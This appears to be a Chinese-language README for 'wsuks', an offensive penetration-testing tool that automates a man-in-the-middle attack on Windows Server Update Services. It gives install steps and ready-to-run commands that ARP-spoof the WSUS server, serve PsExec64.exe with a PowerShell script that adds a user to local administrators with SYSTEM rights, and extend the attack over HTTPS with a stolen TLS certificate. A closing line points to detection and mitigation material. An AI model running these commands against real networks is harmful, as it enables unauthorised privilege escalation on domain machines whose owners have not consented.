自动化 WSUS 攻击
获取已加入域 Windows 计算机的本地管理员访问权限通常是渗透测试的第一步。在许多情况下,Windows 服务器更新服务(WSUS)被配置为通过 HTTP 在本地网络上向客户端部署更新。由于没有 HTTPS 的安全保护,攻击者可以发起中间人攻击,为客户端提供一个更新,该更新随后将以 SYSTEM 权限执行。任何 Microsoft 签名的可执行文件都可以作为更新提供,包括一条用于执行该可执行文件的自定义命令。如果攻击者能够获得 WSUS 服务器的 TLS 证书,则此技术也可以通过 HTTPS 执行(参见 ESC17 和我们的博客文章)。
为了自动利用 WSUS 攻击,该工具使用 ARP 在网络中伪造 WSUS 服务器的 IP 地址;当目标客户端请求 Windows 更新时,它会通过预定义的 PowerShell 脚本提供 PsExec64.exe,从而获得本地管理员权限。所提供可执行文件(默认:PsExec64.exe)以及要执行的命令均可按需更改。
默认情况下,Windows 客户端大约每 24 小时检查一次更新。
先决条件:
结果:
已实现的功能:
使用 pipx(推荐):
sudo apt install pipx python3-nftables
pipx ensurepath
pipx install wsuks --system-site-packages
sudo ln -s ~/.local/bin/wsuks /usr/sbin/wsuks
使用 poetry:
sudo apt install pipx git python3-nftables # poetry should still be installed with pipx, but apt will work as well
sudo pipx install poetry
sudo ln -s /root/.local/bin/poetry /usr/sbin/poetry
git clone https://github.com/NeffIsBack/wsuks
cd wsuks
sudo poetry install
❗wsuks 必须以 root 身份运行❗
使用 pipx 时,你可以直接在系统的任何位置运行 sudo wsuks ...。
如果你使用 poetry,则必须位于 wsuks 文件夹中,并且每条命令都需要以 sudo poetry run wsuks ... 开头。
该工具要求安装 nftables 软件包,这是所有基于 Debian 的系统的默认配置。\
wsuks 可以在 3 种不同的模式/攻击场景下运行:
如果你已经拥有域用户,wsuks 将解析域控制器上的 GPO 以查找 WSUS 服务器。
将执行一个 PowerShell 脚本,将提供的域用户添加到本地管理员组。
sudo wsuks -t 10.0.0.10 -u User -p Password -d domain.local --dc-ip 10.0.0.1
提示: 如果只想检查是否存在 WSUS 服务器,可以使用 --only-discover 标志。
预定义的 PowerShell 脚本将执行以下操作:
⚠ 在将 LocalAccountTokenFilterPolicy 设置为 1 之前,原始值会存储在用户描述字段中,以便之后恢复
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20
如果你已经拥有域用户并且知道 WSUS 服务器的 IP,wsuks 只需将该用户添加到本地管理员组即可。
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20 -u User -d domain.local
如果流量已经被重定向到攻击者的机器(例如通过控制 DNS),则可以使用 wsuks 仅提供恶意可执行文件和命令,而无需执行 ARP 欺骗和路由本身。 这将在所提供的接口上启动 HTTP 服务器。
sudo wsuks --serve-only
如果攻击者能够获得 WSUS 服务器的 TLS 证书(例如通过 ESC17),则此攻击也可以通过 HTTPS 执行。
适用于上述所有场景,只需使用 --tls-cert 标志并提供证书的路径。
sudo wsuks -t 10.0.0.10 --WSUS-Server secure.wsus.domain.local --tls-cert cert.pem
以下是针对已知 WSUS 服务器攻击的简短演示:

在 GoSecure 的 PyWSUS 仓库中,你可以找到关于如何检测和缓解此攻击的出色文档。 他们还编写了一篇出色的指南,详细演示了此攻击的工作原理,见此。
关于 ESC17,请查阅 certipy wiki 获取缓解建议。
该工具的部分内容基于以下项目: